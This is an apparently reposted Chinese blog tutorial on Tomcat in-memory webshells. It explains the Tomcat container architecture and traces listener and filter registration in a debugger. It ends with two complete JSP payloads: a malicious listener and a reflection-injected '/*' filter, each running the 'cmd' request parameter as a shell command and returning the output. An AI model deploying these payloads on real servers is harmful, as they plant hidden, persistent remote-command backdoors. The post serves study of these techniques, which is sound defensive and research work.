Java Tomcat 内存马

首发于:https://moonsec.top/articles/89

说明

此篇仅记录自己的学习过程,内容都是来自互联网的收集,仅做个人学习研究。

1、Tomcat介绍

Tomcat的主要功能
tomcat作为一个 Web 服务器,实现了两个非常核心的功能:

  • Http 服务器功能:进行 Socket 通信(基于 TCP/IP),解析 HTTP 报文
  • Servlet 容器功能:加载和管理 Servlet,由 Servlet 具体负责处理 Request 请求
    image20211007190918695.png

以上两个功能,分别对应着tomcat的两个核心组件连接器(Connector)和容器(Container),连接器负责对外交流(完成 Http 服务器功能),容器负责内部处理(完成 Servlet 容器功能)
image20211007191427074.png

  • Server
    Server 服务器的意思,代表整个 tomcat 服务器,一个 tomcat 只有一个 Server Server 中包含至少一个 Service 组件,用于提供具体服务。

  • Service
    服务是 Server 内部的组件,一个Server可以包括多个Service。它将若干个 Connector 组件绑定到一个 Container

  • Connector
    称作连接器,是 Service 的核心组件之一,一个 Service 可以有多个 Connector,主要连接客户端请求,用于接受请求并将请求封装成 Request 和 Response,然后交给 Container 进 行处理,Container 处理完之后在交给 Connector 返回给客户端。

  • Container
    负责处理用户的 servlet 请求
    Connector连接器
    连接器主要完成以下三个核心功能:

  • socket 通信,也就是网络编程

  • 解析处理应用层协议,封装成一个 Request 对象

  • 将 Request 转换为 ServletRequest,将 Response 转换为 ServletResponse
    以上分别对应三个组件 EndPoint、Processor、Adapter 来完成。Endpoint 负责提供请求字节流给Processor,Processor 负责提供 Tomcat 定义的 Request 对象给 Adapter,Adapter 负责提供标准的 ServletRequest 对象给 Servlet 容器。
    image20211007193016382.png
    Container容器
    Container组件又称作Catalina,其是Tomcat的核心。在Container中,有4种容器,分别是Engine、Host、Context、Wrapper。这四种容器成套娃式的分层结构设计。
    image20211007193651356.png
    四种容器的作用:

  • Engine
    表示整个 Catalina 的 Servlet 引擎,用来管理多个虚拟站点,一个 Service 最多只能有一个 Engine,但是一个引擎可包含多个 Host

  • Host
    代表一个虚拟主机,或者说一个站点,可以给 Tomcat 配置多个虚拟主机地址,而一个虚拟主机下可包含多个 Context

  • Context
    表示一个 Web 应用程序,每一个Context都有唯一的path,一个Web应用可包含多个 Wrapper

  • Wrapper
    表示一个Servlet,负责管理整个 Servlet 的生命周期,包括装载、初始化、资源回收等
    如以下图,a.com和b.com分别对应着两个Host

image20211007193847735.png
tomcat的结构图:
image20211007192234870.png

1.1 tomcat 结构

--Server  顶层容器
   --Service  提供具体服务的
      --Connector
      --Container 
        --Engine
           --Host
              --Context
                 --Wrapper           
   --Service

Server: 一个Tomcat仅有一个Server,指代整个Web服务器。
Connector: 连接器,用于接受请求并将请求封装成Request和Response对象。

  • Container:Catalina,Servlet 容器,处理servlet请求,内部有多层容器组成,用于管理 Servlet 生命周期,调用 servlet 相关方法。
    在Container中,使用PipeLine-Value管道的方式处理请求,包含以下四个子容器:
    StandardEngineValue --> StandardHostValue --> StandardContextValue --> StandardWrapperValue
  • Engine:Servlet 的顶层容器
  • Host:代表一个虚拟主机
  • Context:代表Webapps(默认应用文件夹,可更改)里单独某个Web应用,Web 应用上下文,包含多个 Wrapper,负责 web 配置的解析、管 理所有的 Web 资源;
    Wrapper:每个Wrapper中封装了一个Servlet

2 servlet 相关说明

Servlet只是一个简单的Java接口,用于定义一套处理网络请求的规范,所有实现servlet的类,都需要实现它那五个方法,其中最主要的是两个生命周期方法 init()和destroy(),还有一个处理请求的service(),也就是说,所有实现servlet接口的类,都需要回答这三个问题:

  • 初始化时要做什么?
  • 销毁时要做什么?
  • 接受到请求时要做什么?
    Tomcat
    有了Servlet并不能直接处理请求,因为Servlet并不会直接和客户端打交道,更不会直接在Servlet中监听8080端口。那么请求是怎么到Servlet的呢?答案是Tomcat,Tomcat是由Apache软件基金会属下Jakarta项目开发的Servlet容器。Tomcat才是直接与Tomcat打交道的家伙,Servlet是部署在Tomcat中的。
  • 他监听了端口,请求过来后,根据url等信息,确定要将请求交给哪个servlet去处理;
  • 然后调用那个servlet的service方法,service方法返回一个response对象;
  • tomcat再把这个response返回给客户端。

2.1 DispatcherServlet

DispatchServlet是Spring MVC中的一个类,实现了Servlet接口。所以部署在Tomcat中的Spring项目,对Tomcat来说,都是一个servlet。
DispatcherServlet的继承关系如下:

1387867781243c8602bd1c62.webp
DispatcherServlet处理网络请求过程如下:
image.png

  • 用户发请求 --> DispatcherServlet,DispatcherServlet收到请求后自己不进行处理,而是委托给其他的解析器进行处理,作为统一访问点,进行全局的流程控制。
  • DispatcherServlet --> HandlerMapping,HandlerMapping将会把请求映射为HandlerExecutionChain对象(包含一个Handler处理器,多个HandlerInterceptor拦截器)。
  • DispatcherServlet -> HandlerAdapter,HandlerAdapter将会把处理器包装为适配器,从而支持多种类型的处理器。
  • HandlerAdapter --> 处理器功能处理方法的调用,HandlerAdapter将会根据适配的结果调用真正的处理器的功能处理方法,完成功能处理,并返回一个ModelAndView对象(包含模型数据,逻辑视图名)
  • ModelAndView的逻辑视图名 --> ViewResolver,ViewResolver将把逻辑视图名解析为具体的View。
  • View-->渲染,View会根据传进来的Model模型数据进行渲染,此处的Model实际是一个Map数据结构
  • 返回控制权给DispatcherServlet,由DispatcherServlet返回响应给用户。

2.2 listener

Tomcat引入Listener的作用:
Tomcat在启动、运行、关闭等各个过程中,由于环境中对象之间的依赖关系复杂,对象的属性和状态会发生各种改变,一个对象的改变需要通知其他依赖于它的对象,以此保证高度的协同合作,而Listener的引入,正是为了解决该问题。这种行为模式,也称为观察者模式。
Listener监听三个作用域属性状态变更
可以监听在作用域中值 添加 | 替换 | 移除的动作

  • request—ServletResquestAttributeListener
  • session—HttpSessionAttributeListener
  • servletContent— ServletContextAttributeListener

2.3 filter listener servlet关系

Servlet:Servlet的生命周期开始于Web容器的启动时,它就会被载入到Web容器内存中,直到Web容器停止运行或者重新装入servlet时候结束。一旦Servlet被装入到Web容器之后,一般是会长久驻留在Web容器之中。
装入:启动服务器时加载Servlet的实例。
初始化:web服务器启动时或web服务器接收到请求时,或者两者之间的某个时刻启动。初始化工作有init()方法负责执行完成。
调用:从第一次到以后的多次访问,都是只调用doGet()或doPost()方法。
销毁:停止服务器时调用destroy()方法,销毁实例。

Filter:自定义Filter的实现,需要实现javax.servlet.Filter下的init()、doFilter()、destroy()三个方法。
启动服务器时加载过滤器的实例,并调用init()方法来初始化实例;
每一次请求时都只调用方法doFilter()进行处理;停止服务器时调用destroy()方法,销毁实例。

Listener:以ServletRequestListener为例,ServletRequestListener主要用于监听ServletRequest对象的创建和销毁,一个ServletRequest可以注册多个ServletRequestListener接口。
每次请求创建时调用requestInitialized();每次请求销毁时调用requestDestroyed()。

加载顺序
web.xml对于这三种组件的加载顺序是:listener -> filter -> servlet,即listener的优先级为三者中最高的。

3、内存马类型

3、1 listener 类型内存马

请求网站的时候, 程序先执行listener监听器的内容:Listener -> Filter -> Servlet
Listener是最先被加载的, 所以可以利用动态注册恶意的Listener内存马。而Listener分为以下几种:

  • ServletContext,服务器启动和终止时触发
  • Session,有关Session操作时触发
  • Request,访问服务时触发
    其中关于监听Request对象的监听器是最适合做内存马的,只要访问服务就能触发操作。

3.1.1 ServletRequestListener接口

如果在Tomcat要引入listener,需要实现两种接口,分别是LifecycleListener和原生EvenListener。
实现了LifecycleListener接口的监听器一般作用于tomcat初始化启动阶段,此时客户端的请求还没进入解析阶段,不适合用于内存马。
所以来看另一个EventListener接口,在Tomcat中,自定义了很多继承于EventListener的接口,应用于各个对象的监听。
image.png
其中最重要的就是ServletRequestListener接口
image.png
ServletRequestListener用于监听ServletRequest对象的创建和销毁,当我们访问任意资源,无论是servlet、jsp还是静态资源,都会触发requestInitialized方法。
写一个继承于ServletRequestListener接口的TestListener:


public class TestListener implements ServletRequestListener {
    @Override
    public void requestDestroyed(ServletRequestEvent sre) {
        System.out.println("执行了TestListener requestDestroyed");
    }

    @Override
    public void requestInitialized(ServletRequestEvent sre) {
        System.out.println("执行了TestListener requestInitialized");
    }
}

在web.xml中配置:

<listener>
        <listener-class>test.TestListener</listener-class>
    </listener>

通过Demo的运行结果,可以发现在一次url请求中触发了requestInitialized 和 requestDestroyed 的两种方法。
image.png

3.1.2 调试

1、在public void requestInitialized 下个断点
image.png
可以发现StandardContext的fireRequestInitEvent 调用了 requestInitialized 方法
image.png
2、通过上面的代码可以看到event的获取,是通过new ServletRequestEvent(getServletContext(), request)获取的,因此even不需要我们进行任何的操作,只要进行request请求,既可以获得对应的event。
image.png
3、因此我们重点关注listener的获取方式
image.png
instances是通过getApplicationEventListeners()方法获取的。
4、我们查看getApplicationEventListeners方法
image.png
applicationEventListenersList.toArray() 得到对应的instances对象
5、继续查找applicationEventListenersList的由来
在getApplicationEventListeners 下个断点
image.png
发现跟踪不到之前的调用关系,所以直接在StandardContext.java 往下看,发现addApplicationEventListener 方法,所以猜测,这个是用来添加ApplicationEventListeners的
6、addApplicationEventListener 看起来就是添加listener,所以,我们只要获取standardcontext,调用addApplicationEventListener,将listener添加进去即可
根据listener类别,我们可以使用ServletRequestListener类,它的方法有requestInitialized(),requestDestroyed(),当一个新的request触发和销毁时,方法分别被执行。
7、综上分析这时候我们思路是,调用StandardContext#addApplicationEventListener方法,add我们自己写的恶意listener,然后通过request调用,即可触发对应的rce。
(ps:addApplicationEventListener 在实际的调试中发现无法调用到,不知道为啥,有大神的话希望指点下。)

在jsp中如何获得StandardContext对象

方式一:

<%
    Field reqF = request.getClass().getDeclaredField("request");
    reqF.setAccessible(true);
    Request req = (Request) reqF.get(request);
    StandardContext context = (StandardContext) req.getContext();
%>

方式二:

WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
    StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();

以下是网络上公开的内存马:

<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.io.IOException" %>

<%!
    public class MyListener implements ServletRequestListener {
        public void requestDestroyed(ServletRequestEvent sre) {
            HttpServletRequest req = (HttpServletRequest) sre.getServletRequest();
            if (req.getParameter("cmd") != null){
                InputStream in = null;
                try {
                    in = Runtime.getRuntime().exec(new String[]{"cmd.exe","/c",req.getParameter("cmd")}).getInputStream();
                    Scanner s = new Scanner(in).useDelimiter("\\A");
                    String out = s.hasNext()?s.next():"";
                    Field requestF = req.getClass().getDeclaredField("request");
                    requestF.setAccessible(true);
                    Request request = (Request)requestF.get(req);
                    request.getResponse().getWriter().write(out);
                }
                catch (IOException e) {}
                catch (NoSuchFieldException e) {}
                catch (IllegalAccessException e) {}
            }
        }

        public void requestInitialized(ServletRequestEvent sre) {}
    }
%>

<%
    Field reqF = request.getClass().getDeclaredField("request");
    reqF.setAccessible(true);
    Request req = (Request) reqF.get(request);
    StandardContext context = (StandardContext) req.getContext();
    MyListener listenerDemo = new MyListener();
    context.addApplicationEventListener(listenerDemo);
%>

执行结果
image.png

3.2 Filter型内存马

3.2.1 Filter注册流程

要在FilterChain中加入恶意filter,首先要了解tomcat中Filter的注册流程
image.png
在上图中可以看到,Wrapper容器调用FilterChain的地方就在StandardWrapperValve类中
调试
注册一个filter:

package com.my.test;

import org.springframework.stereotype.Component;

import javax.servlet.*;
import javax.servlet.annotation.WebFilter;
import java.io.IOException;

@Component
@WebFilter(urlPatterns = "/*")
public class TestFilter implements Filter {
    @Override
    public void init(FilterConfig filterConfig) throws ServletException {
        System.out.println("filter初始化");
    }


    @Override
    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
        System.out.println("doFilter过滤");
        //放行
        chain.doFilter(request,response);
    }

    @Override
    public void destroy() {
        System.out.println("filter销毁");

    }
}

由于采用了注解的方式,因此不需要配置web.xml
1、在dofilter的初始化的方法上下个断点:
整体的调用链如下:
image.png

2、可以看到在StandardWrapperValve#invoke中,通过createFilterChain方法获得了一个ApplicationFilterChain类型的filterChain
image.png
3、其中filterChain 的获取来自
image.png
4、在 filterChain.doFilter的方法中,调用了 internalDoFilter(request,response);
image.png
5、跟进 internalDoFilter,进行debug发现,在pos[0]的时候默认就是就是我们自己写的filter
image.png
出现这个情况的原因是因为我们注册filter的时候为/*,如果换一个注册的url,则发现不一样
image.png
因此在注册的时候需要关注对应的url patter
6、在internalDoFilter 最后调用了
image.png
在else 中调用了我们自己写的过滤器的初始化。
image.png
可以看到,filter是从filters数组中拿到的,看看filters数组是什么,其实就是一个ApplicationFilterConfig类型的对象数组,它的值也就是前面的说的通过createFilterChain方法获得的
image.png
7、接下来查看createFilterChain如何把我们写的TestFilter添加ApplicationFilterConfig的
跟进ApplicationFilterFactory#createFilterChain中,看到首先64行拿到了个ServletRequest,然后通过ServletRequest#getFilterChain获取到了filterChain
image.png
8、继续往下看,通过StandardContext对象找到了filterMaps[]
image.png
然后又通过filterMaps中的名字,找到StandardContext对象中的FilterConfig,最后把FilterConfig加入了filterChain中
image.png
9、跟进filterChain.addFilter看到,也就是加入了前面说的filters数组ApplicationFilterConfig中。这里和上面一步的操作就是遍历filter放入ApplicationFilterConfig

10、通过调试发现,有两个很重要的变量,filterMap和filterConfig

  • filterMaps拿名字
  • filterConfigs拿过滤器

其实这两个变量都是在StandardContext对象里面存放了,其中还有个变量filterDefs也是重要
分析filterMaps、filterConfigs、filterDefs
1)filterMaps
既然这三个变量都是从StandardContext中获得,那么查看StandardContext发现有两个方法可以添加filterMap
image20211011153145987.png
image20211011153130293.png
2)filterConfigs
在StandardContext中同样寻找添加filterConfig值的地方,发现有一处filterStart方法
image20211011153703552.png
此处添加是在tomcat启动时完成,所以下好断点启动tomcat

filterDefs中存放着TestFilterimage20211011154139448.png
遍历这个filterDefs,拿到key为TestFilter,value为FilterDef对象,值test.Testfilter
image20211011154225299.png
接下来new了一个ApplicationFilterConfig,放入了value
image20211011154449349.png
然后把nam=TestFilter和filterConfig放入了filterConfigs
image20211011154928992.png
3)filterDefs
以上的filterDefs才是真正放了过滤器的地方,那么我们看下filterDefs在哪里被加入了

在StandardContext中同样有个addFilterDef方法

image20211011155245728.png
可以想到,tomcat是从web.xml中读取的filter,然后加入了filterMap和filterDef变量中,以下对应着这两个变量
image20211011154701839.png

3.2.3 内存马

我们通过控制filterMaps、filterConfigs、filterDefs的值,则可以注入恶意的filter

filterMaps:一个HashMap对象,包含过滤器名字和URL映射

filterDefs:一个HashMap对象,过滤器名字和过滤器实例的映射

filterConfigs变量:一个ApplicationFilterConfig对象,里面存放了filterDefs

<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>

<%
     final String name = "KpLi0rn";
     ServletContext servletContext = request.getSession().getServletContext();

     Field appctx = servletContext.getClass().getDeclaredField("context");
     appctx.setAccessible(true);
     ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

     Field stdctx = applicationContext.getClass().getDeclaredField("context");
     stdctx.setAccessible(true);
     StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

     Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
     Configs.setAccessible(true);
     Map filterConfigs = (Map) Configs.get(standardContext);

     if (filterConfigs.get(name) == null){
          Filter filter = new Filter() {
               @Override
               public void init(FilterConfig filterConfig) throws ServletException {

               }

               @Override
               public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
                    HttpServletRequest req = (HttpServletRequest) servletRequest;
                    if (req.getParameter("cmd") != null){
                         byte[] bytes = new byte[1024];
                         Process process = new ProcessBuilder("bash","-c",req.getParameter("cmd")).start();
                         int len = process.getInputStream().read(bytes);
                         servletResponse.getWriter().write(new String(bytes,0,len));
                         process.destroy();
                         return;
                    }
                    filterChain.doFilter(servletRequest,servletResponse);
               }

               @Override
               public void destroy() {

               }

          };


          FilterDef filterDef = new FilterDef();
          filterDef.setFilter(filter);
          filterDef.setFilterName(name);
          filterDef.setFilterClass(filter.getClass().getName());
          /**
           * 将filterDef添加到filterDefs中
           */
          standardContext.addFilterDef(filterDef);

          FilterMap filterMap = new FilterMap();
          filterMap.addURLPattern("/*");
          filterMap.setFilterName(name);
          filterMap.setDispatcher(DispatcherType.REQUEST.name());

          standardContext.addFilterMapBefore(filterMap);

          Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
          constructor.setAccessible(true);
          ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);

          filterConfigs.put(name,filterConfig);
          out.print("Inject Success !");
     }
%>

说明:此处注册拦截器的url 为“/*”,并没有问题,可以通过下面的实例来说明:
正常的加载可以加载到
image.png
运行结果为:

image.png

参考

1、https://xz.aliyun.com/search?page=1&keyword=内存马
2、https://xz.aliyun.com/t/10583
3、https://xz.aliyun.com/t/9914
4、https://xz.aliyun.com/t/10358
5、https://www.jianshu.com/p/dfcc5adf82a6

posted @ 2022-07-16 21:46  TT0TT  阅读(314)  评论(0编辑  收藏  举报